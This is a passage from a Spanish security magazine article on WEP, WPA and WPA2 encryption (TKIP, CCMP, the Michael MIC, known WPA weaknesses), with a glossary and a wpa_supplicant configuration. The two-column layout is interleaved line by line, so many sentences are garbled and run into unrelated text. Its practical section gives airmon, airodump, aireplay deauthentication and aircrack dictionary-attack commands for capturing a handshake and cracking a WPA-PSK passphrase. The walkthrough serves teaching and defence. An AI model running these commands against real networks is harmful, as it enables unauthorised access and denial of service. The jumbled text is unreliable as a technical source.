ca la finalizacin del Group Key importante en TKIP y en el proto- en dos fases. La primera se ocupa
Handshake enviando el nmero de colo de encriptacin CCMP, ya que de los datos estticos la clave TEK
secuencia de GTK y el MIC calcu- en TKIP el MIC se calcula desde la de sesin secreta, el TA de la direc-
lado en este segundo mensaje. Al MSDU, mientras que en CCMP se cin MAC del transmisor (incluido
ser recibido este, el autenticador calcula desde MPDU. para prevenir colisiones IV) y los
instala la nueva GTK (tras verificar Al igual que WEP, TKIP est ba- 32 bits ms altos del IV. La fase 2
el valor MIC). sada en el algoritmo de encriptacin incluye el resultado de la fase 1 y los
Tambin existe un STAkey RC4, pero esto es as tan slo por un 16 bits ms bajos del IV, cambiando
Handshake, pero no lo vamos a motivo: permitir a los sistemas WEP todos los bits del campo Per Packet
tratar aqu. Soporta la generacin la actualizacin para instalar un pro- Key para cada nuevo IV. El valor IV
de una clave, llamada STAkey, por tocolo ms seguro. TKIP se requiere siempre empieza en 0 y es incre-
el punto de acceso para conexiones para la certificacin WPA y se inclu- mentado de uno en uno para cada
ad-hoc. ye como parte de RSN 802.11i como paquete enviado, y los mensajes
una opcin. TKIP aade medidas cuyo TSC no es mayor que el del
Fase 4: Confidencialidad correctoras para cada una de las ltimo mensaje son rechazados. El
e integridad de datos RSNA vulnerabilidades de WEP descritas resultado de la fase 2 y parte del IV
Todas las claves generadas ante- anteriormente: extendido (adems de un bit dummy)
riormente se usan en protocolos componen la entrada para RC4,
que soportan la confidencialidad e integridad de mensaje: un nuevo generando un flujo de clave que es
integridad de datos RSNA: MIC (Message Integrity Code) XOR-eado con el MPDU de slo tex-
basado en el algoritmo Michael to, el MIC calculado del MPDU y el
TKIP (Temporal Key Hash), puede ser incorporado en el soft- viejo ICV de WEP (ver Figura 12).
CCMP (Counter-Mode / Cipher ware para microprocesadores La computacin del MIC utiliza
Block Chaining Message Au- lentos, el algoritmo Michael de Niels Fer-
thentication Code Protocol), IV: nuevas reglas de seleccin guson. Se cre para TKIP y tiene un
WRAP (Wireless Robust Authen- para los valores IV, reutilizando nivel de seguridad de 20 bits (el algo-
ticated Protocol). IV como contador de repeticin ritmo no utiliza multiplicacin por ra-

www.hakin9.org hakin9 N 1/2006 21


Tema caliente

Figura 12. Esquema y encriptacin de TKIP Key-Mixing zones de rendimiento, porque debe
ser soportado por el viejo hardware
de red para que pueda ser actuali-
zado a WPA). Por esta limitacin, se
necesitan contramedidas para evitar
la falsificacin del MIC. Los fallos de
MIC deben ser menores que 2 por
minuto, o se producir una desco-
nexin de 60 segundos y se esta-
blecern nuevas claves GTK y PTK
tras ella. Michael calcula un valor de
Figura 13. Computacin de MIC utilizando el algoritmo Michael comprobacin de 8 octetos llamado

Figura 14. Encriptacin CCMP

22 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

MIC y lo aade a la MSDU antes de


la transmisin. El MIC se calcula de Listado 7. Descubriendo redes cercanas
la direccin origen (SA), direccin de # airodump ath0 wpa-crk 0
destino (DA), MSDU de slo texto y
la TMK apropiada (dependiendo del BSSID PWR Beacons # Data CH MB ENC ESSID
lado de la comunicacin, se utilizar 00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo

una clave diferente para la transmi-


BSSID STATION PWR Packets ESSID
sin y la recepcin). 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo
CCMP se basa en la suite de
cifrado de bloques AES (Advanced
Encryption Standard) en su modo Listado 8. Lanzando un ataque de diccionario
de operacin CCM, con la clave y los
bloques de 128 bits de longitud. AES $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap
Opening wpa-psk.cap
es a CCMP lo que RC4 a TKIP, pero
Read 541 packets.
al contrario que TKIP, que se dise BSSID ESSID Encryption
para acomodar al hardware WEP 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake)
existente, CCMP no es un compro-
miso, sino un nuevo diseo de proto-
colo. CCMP utiliza el counter mode El ltimo protocolo es WRAP, unas mnimas recomendaciones de
junto a un mtodo de autenticacin basado tambin en AES pero utili- seguridad.
de mensajes llamado Cipher Block zando el esquema de encriptacin La vulnerabilidad ms prctica
Chaining (CBC-MAC) para producir autenticada OCB (Offset Codebook es el ataque contra la clave PSK
un MIC. Mode encriptacin y autenticacin de WPA/WPA2. Como ya hemos
Se aadieron algunas caracte- en la misma operacin). OCB fue el dicho, la PSK proporciona una al-
rsticas interesantes, como el uso de primer modo elegido por el grupo ternativa a la generacin de 802.1X
una clave nica para la encriptacin de trabajo de IEEE 802.11i, pero se PMK usando un servidor de auten-
y la autenticacin (con diferentes abandon por motivos de propie- ticacin. Es una cadena de 256 bits
vectores de inicializacin), el cubrir dad intelectual y posibles licencias. o una frase de 8 a 63 caracteres,
datos no encriptados por la auten- Entonces se adopt CCMP como usada para generar una cadena uti-
ticacin. El protocolo CCMP aade obligatorio. lizando un algoritmo conocido: PSK
16 bytes al MPDU, 8 para el enca- = PMK = PBKDF2(frase, SSID,
bezamiento CCMP y 8 para el MIC. Debilidades SSID length, 4096, 256), donde
El encabezamiento CCMP es un de WPA/WPA2 PBKDF2 es un mtodo utilizado
campo no encriptado incluido entre Aunque se han descubierto algunas en PKCS#5, 4096 es el nmero de
el encabezamiento MAC y los datos pequeas debilidades en WPA/ hashes y 256 la longitud del resulta-
encriptados, incluyendo el PN de 48- WPA2 desde su lanzamiento, ningu- do. La PTK es derivada de la PMK
bits (Packet Number = IV Extendido) na de ellas es peligrosa si se siguen utilizando el 4-Way Handshake y
y la Group Key KeyID. El PN se in-
crementa de uno en uno para cada
MPDU subsiguiente.
La computacin de MIC utiliza el
algoritmo CBC-MAC que encripta un
bloque nonce de inicio (computado
desde los campos de Priority, la
direccin fuente de MPDU y el PN
incrementado) y hace XORs sobre
los bloques subsiguientes para ob-
tener un MIC final de 64 bits (el MIC
final es un bloque de 128-bits, ya que
se descartan los ltimos 64 bits). El
MIC entonces se aade a los datos
de texto para la encriptacin AES
en modo contador. El contador se
construye de un nonce similar al del
MIC, pero con un campo de contador
extra inicializado a 1 e incrementado
para cada bloque. Figura 15. Una PSK WPA dbil ha sido encontrada con Aircrack

www.hakin9.org hakin9 N 1/2006 23


Tema caliente

toda la informacin utilizada para cowpatty se cre para aprovechar ser pre-calculada (y guardada en
calcular su valor se transmite en este error, y su cdigo fuente fue tablas) porque la frase de acceso
formato de texto. usado y mejorado por Christophe est codificada adicionalmente se-
La fuerza de PTK radica en el Devine en Aircrack para permitir gn la ESSID. Una buena frase que
valor de PMK, que para PSK signifi- este tipo de ataques sobre WPA. no est en un diccionario (de unos
ca exactamente la solidez de la fra- El diseo del protocolo (4096 para 20 caracteres) debe ser escogida
se. Como indica Robert Moskowitz, cada intento de frase) significa que para protegerse eficazmente de
el segundo mensaje del 4-Way el mtodo de la fuerza bruta es muy esta debilidad.
Handshake podra verse sometido lento (unos centenares de frases Para hacer este ataque, el ata-
a ataques de diccionario o ataques por segundo con el ltimo proce- cante debe capturar los mensajes
offline de fuerza bruta. La utilidad sador simple). La PMK no puede de 4-Way Handshake monitorizando

Glosario

AP Access Point, punto de acceso, estacin base de una MPDU Mac Protocol Data Unit, paquete de datos antes de
red Wi-Fi que conecta clientes inalmbricos entre s y a redes la fragmentacin.
de cable. MSDU Mac Service Data Unit, paquete de datos despus
ARP Address Resolution Protocol, protocolo para traducir de la fragmentacin.
las direcciones IP a direcciones MAC. PAE Port Access Entity, puerto lgico 802.1x.
BSSID Basic Service Set Identifier, Direccin MAC del PMK Pairwise Master Key, clave principal de la jerarqua de
punto de acceso. pares de claves.
CCMP Counter-Mode / Cipher Block Chaining Message PSK Pre-Shared Key, clave derivada de una frase de ac-
Authentication Code Protocol, protocolo de encriptacin ceso que sustituye a la PMK normalmente enviada por un
utilizado en WPA2, basado en la suite de cifrado de bloques servidor de autenticacin.
AES. PTK Pairwise Transient Key, clave derivada de la PMK.
CRC Cyclic Redundancy Check, pseudo-algoritmo de inte- RSN Robust Security Network, mecanismo de seguridad
gridad usado en el protocolo WEP (dbil). de 802.11i (TKIP, CCMP etc.).
EAP Extensible Authentication Protocol, entorno para va- RSNA Robust Security Network Association, asociacin de
rios mtodos de autenticacin. seguridad usada en una RSN.
EAPOL EAP Over LAN, protocolo usado en redes inalm- RSN IE Robust Security Network Information Element,
bricas para transportar EAP. campos que contienen informacin RSN incluida en Probe
GEK Group Encryption Key, clave para la encriptacin de Response y Association Request.
datos en trfico multicast (tambin usada para la integridad SSID Service Set Identifier, identificador de la red (el mis-
en CCMP). mo que ESSID).
GIK Group Integrity Key, clave para la encriptacin de da- STA Station, estacin, cliente wireless.
tos en trfico multicast (usada in TKIP). TK Temporary Key, clave para la encriptacin de datos en
GMK Group Master Key, clave principal de la jerarqua de trfico unicast (usada tambin para la comprobacin de la
group key. integridad de datos en CCMP).
GTK Group Transient Key, clave derivada de la GMK. TKIP Temporal Key Integrity Protocol, protocolo de encrip-
ICV Integrity Check Value, campo de datos unido a los da- tacin usado en WPA basado en el algoritmo RC4 (como en
tos de texto para la integridad (basado en el algoritmo dbil WEP).
CRC32). TMK Temporary MIC Key, clave para la integridad de datos
IV Initialization Vector, vector de inicializacin, datos com- en trfico unicast (usada en TKIP).
binados en la clave de encriptacin para producir un flujo de TSC TKIP Sequence Counter, contador de repeticin usa-
claves nico. do en TKIP (al igual que Extended IV).
KCK Key Confirmation Key, clave de integridad que prote- TSN Transitional Security Network, sistemas de seguridad
ge los mensajes handshake. pre-802.11i (WEP etc.).
KEK Key Encryption Key, clave de confidencialidad que WEP Wired Equivalent Privacy, protocolo de encriptacin
protege los mensajes handshake. por defecto para redes 802.11.
MIC Message Integrity Code, campo de datos unido a los WPA Wireless Protected Access, implementacin de una
datos de texto para la integridad (basdo en el algoritmo Mi- versin temprana del estndar 802.11i, basada en el proto-
chael). colo de encriptacin TKIP.
MK Master Key, clave principal conocida por el suplicante y WRAP Wireless Robust Authenticated Protocol, antiguo
el autenticador tras el proceso de autenticacin 802.1x. protocolo de encriptacin usado en WPA2.

24 hakin9 N 1/2006 www.hakin9.org


Seguridad de WEP, WPA y WPA2

Listado 9. Ejemplo de archivo de configuracin de wpa_supplicant


para WPA2

ap_scan=1 # Analiza frecuencias de Radio y selecciona punto


de acceso apropiado
network={ # Primera red inalmbrica
ssid="some_ssid" # SSID de la red
scan_ssid=1 # Enva peticin de prueba para encontrar SSID ocultos
proto=RSN # RSN para WPA2/IEEE 802.11i
key_mgmt=WPA-PSK # Autenticacin de la clave pre-compartida
pairwise=CCMP # Protocolo CCMP(encriptacin AES)
psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac
}

pasivamente la red inalmbrica o uti- ha producido el 4-Way Handshake


lizar el ataque de desautenticacin para este cliente).
para acelerar el proceso. Una vez la red objetivo se ha
Figura 16. Soporte de WPA2 en
De hecho, los dos primeros encontrado, la captura debe ser
Windows XP SP2
mensajes se necesitan para poder lanzada sobre el canal apropiado
intentar adivinar los valores de para evitar perder paquetes nece- el cliente si es posible que existan
PSK. Recordemos que PTK = PRF- sarios mientras escaneamos otros varias sesiones simultneas.
X (PMK, Pairwise key expansion, canales: El cdigo de integridad de men-
Min(AP_Mac, STA_Mac) || Max(AP_ sajes Michael tiene tambin debilida-
Mac, STA_Mac) || Min(ANonce, # airodump ath0 wpa-psk 1 des conocidas que provienen de su
SNonce) || Max(ANonce, SNonce)), propio diseo (forzado por el grupo
donde PMK es igual a PSK en Debemos entonces deautenticar de trabajo de 802.11i). La seguridad
nuestro caso. Tras el segundo men- los clientes legtimos, forzndolos a de Michael se basa en que la comu-
saje, el atacante conoce ANonce iniciar un nuevo proceso de auten- nicacin est encriptada. Aunque los
(del primer mensaje) y SNonce (del ticacin y permitindonos capturar MICs criptogrficos estn general-
segundo mensaje) y puede empe- los mensajes de 4-Way Handshake. mente diseados para resistir a este
zar a intentar calcular el valor PSK Aireplay se usa para este ataque, y tipo de ataques de texto conocidos
para calcular PTK y derivar claves deautenticar al cliente deseado con (donde el atacante tiene un mensaje
temporales. Si se adivina correcta- la BSSID especificada envindole de texto y su MIC), Michael es vulne-
mente la PSK, el MIC del segundo una peticin de desautenticacin rable a estos ataques, porque es in-
mensaje podra obtenerse con el falsa: vertible. Si se le da un slo mensaje
correspondiente KCK y si no se y su valor MIC, se puede descubrir la
consigue, hay que seguir intentan- # aireplay -0 1 -a <BSSID> clave secreta de MIC, as que man-
do adivinarla. -c <client_mac> ath0 tener el secreto del valor de MIC es
Como ejemplo prctico, empe- crtico.
zamos al igual que lo hicimos en El ltimo paso ser lanzar un ataque La debilidad final conocida es la
el ejemplo de crackeado de WEP. de diccionario usando Aircrack (ver posibilidad terica de un ataque con-
Lo primero ser activar el modo Listado 8). La Figura 15 muestra los tra el Temporal Key Hash de WPA,
monitor: resultados. que implica una complejidad de ata-
La otra debilidad WPA es una que reducida (de 128 a 105) bajo
# airmon.sh start ath0 posibilidad de Negacin del Servi- ciertas circunstancias (conocimiento
cio durante el 4-Way Handshake. de varias claves RC4).
El siguiente paso descubre las redes Changhua He y John C. Mitchell se WPA/WPA2 se ven sometidas a
cercanas y sus clientes asociados dieron cuenta de que el primer men- vulnerabilidades que afectan a otros
(ver Listado 7). saje del 4-Way Handshake no est mecanismos estndar de 802.11i,
El resultado se puede interpre- autenticado, y cada cliente tiene que como son los ataques con spo-
tar as: un punto de acceso con guardar cada primer mensaje hasta ofing de mensajes 802.1X (EAPoL
BSSID 00:13:10:1F:9A:72 usando que reciban un tercer mensaje vlido Logoff, EAPoL Start, EAP Failure
encriptacin WPA en el canal 1 (firmado), dejando al cliente poten- etc.), descubiertos por primera vez
con SSID hakin9demo y un cliente, cialmente vulnerable ante el agota- por William A. Arbaugh y Arunesh
identificado por la direccin MAC miento de memoria. Haciendo un Mishra y posibles gracias a una
00:0C:F1:19:77:5C estn asocia- spoofing del primer mensaje enviado falta de autenticacin. Por ltimo,
dos y autenticados en esta red ina- por el punto de acceso, un atacante es importante destacar que el uso
lmbrica (lo que significa que ya se podra realizar un ataque DoS sobre del protocolo WPA/WPA2 no tiene

www.hakin9.org hakin9 N 1/2006 25


Tema caliente

proteccin alguna frente a ataques


sobre las tecnologas en que se ba- Sobre el autor
san, como puede ser la intercepcin Guillaume Lehembre es un consultor de seguridad francs y trabaja en HSC (Herv
de frecuencias de radio, Negacin Schauer Consultants http://www.hsc.fr) desde 2004. Durante su carrera profesional
del Servicio a travs de violaciones ha tratado con auditoras, estudios y tests de penetracin, consiguiendo experiencia
de 802.11, de-autenticacin, de-aso- en la seguridad inalmbrica. Ha dado conferencias pblicas y ha publicado varios art-
ciacin, etc. culos sobre seguridad. Puedes contactar con l en: Guillaume.Lehembre@hsc.fr.

Puesta en prctica
ciacin AP, autenticacin 802.1X, soluciones de encriptacin de alto
en los sistemas 4-Way Handshake etc.). Cuando to- nivel (como VPNs). WPA es una so-
operativos de WPA/ do est funcionando, wpa_supplicant lucin segura para el equipo actua-
WPA2 debera ejecutarse en modo daemon lizable que no soporte WPA2, pero
Windows no incorpora soporte (sustituye la opcin -dd por -B). WPA2 ser pronto el estndar de la
WPA2 por defecto. Una actualizacin En Macintosh, WPA2 es soporta- seguridad inalmbrica. No olvides
para Windows XP SP2 (KB893357) do tras la salida de la actualizacin poner tu equipamiento wireless en
lanzada el 29 de abril de 2005, aa- 4.2 del software Apple AirPort: Los un lugar filtrado y ten a mano una
di WPA2 y una mejor deteccin de Macintosh con AirPort Extreme, La conexin tradicional (con cables)
redes (ver Figura 16). Otros siste- estacin base AirPort Extreme Base para las redes ms importantes
mas operativos de Microsoft tienen Station y AirPort Express. los ataques de interceptacin/
que utilizar un suplicante externo interferencia de radio-frecuencia y
(comercial o de cdigo abierto, co- Sumario los ataques de bajo nivel (violacin
mo wpa_supplicant la versin de Parece claro que la encriptacin del estndar 802.11, de-asociacin
Windows es experimental). WEP no proporciona suficiente falsa, etc.) siguen pudiendo ser de-
En Linux y *BSD, wpa_suppli- seguridad para las redes inalmbri- vastadores. l
cant estaba listo para cuando sali cas, y que slo puede ser usado con
el estndar 802.11i. El suplicante
externo soporta un gran nmero
de mtodos EAP y caractersticas
En la Red
de gestin de claves para WPA, http://standards.ieee.org/getieee802/download/802.11i-2004.pdf Estndar IEEE
WPA2 y WEP. Pueden declararse 802.11i,
varias redes con diferentes tipos http://www.awprofessional.com/title/0321136209 Real 802.11 Security Wi-Fi
de encriptacin, gestin de claves y Protected Access and 802.11i (John Edney, William A. Arbaugh) Addison Wesley
mtodos EAP el Listado 9 presen- ISBN: 0-321-13620-9,
ta un simple fichero de configuracin http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm Un ataque inductivo de texto
de WPA2. El lugar por defecto de la contra WEP/WEP2 (Arbaugh),
configuracin de wpa_supplicant es http://www.drizzle.com/~aboba/IEEE/rc4_ksaproc.pdf Debilidades en el algorit-
mo de programacin de claves de RC4 (Fluhrer, Mantin, Shamir),
/etc/wpa_supplicant.conf, y el archi-
http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt optimizacin
vo slo debera ser accesible para el
h1kari,
usuario root. http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf Interceptacin de comuni-
El daemon wpa_supplicant de- caciones mviles: La inseguridad de 802.11 (Borisov, Goldberg, Wagner),
bera primero lanzarse con privile- http://airsnort.shmoo.com/ AirSnort,
gios de root en modo debug (opcin http://www.cr0.net:8040/code/network/aircrack/ Aircrack (Devine),
-dd), con el controlador adecuado http://weplab.sourceforge.net/ Weplab (Snchez),
(en nuestro ejemplo es -D madwifi http://www.wifinetnews.com/archives/002452.html debilidades de WPA PSK
para soportar el chipset Atheros), el (Moskowitz),
nombre de la interfaz (opcin -i, en http://new.remote-exploit.org/images/5/5a/Cowpatty-2.0.tar.gz Cowpatty, he-
nuestro caso ath0) y la ruta del fiche- rramientas de crackeo de WPA-PSK,
http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf Anlisis del 4-Way
ro de configuracin (opcin -c):
Handshake de 802.11i (He, Mitchell),
http://www.cs.umd.edu/%7ewaa/1x.pdf Anlisis inicial de seguridad del estn-
# wpa_supplicant
dar IEEE 802.1X (Arbaugh, Mishra),
-D madWi-Fi http://support.microsoft.com/?kbid=893357 WPA2 Actualizacin para Microsoft
-dd -c /etc/wpa_supplicant.conf Windows XP SP2,
-i ath0 http://hostap.epitest.fi/wpa_supplicant/ wpa_supplicant,
http://www.securityfocus.com/infocus/1814 WEP: Dead Again, Parte 1,
Todos los pasos tericos descritos http://www.securityfocus.com/infocus/1824 WEP: Dead Again, Parte 2.
son resultado del modo debug (Aso-

26 hakin9 N 1/2006 www.hakin9.org

También podría gustarte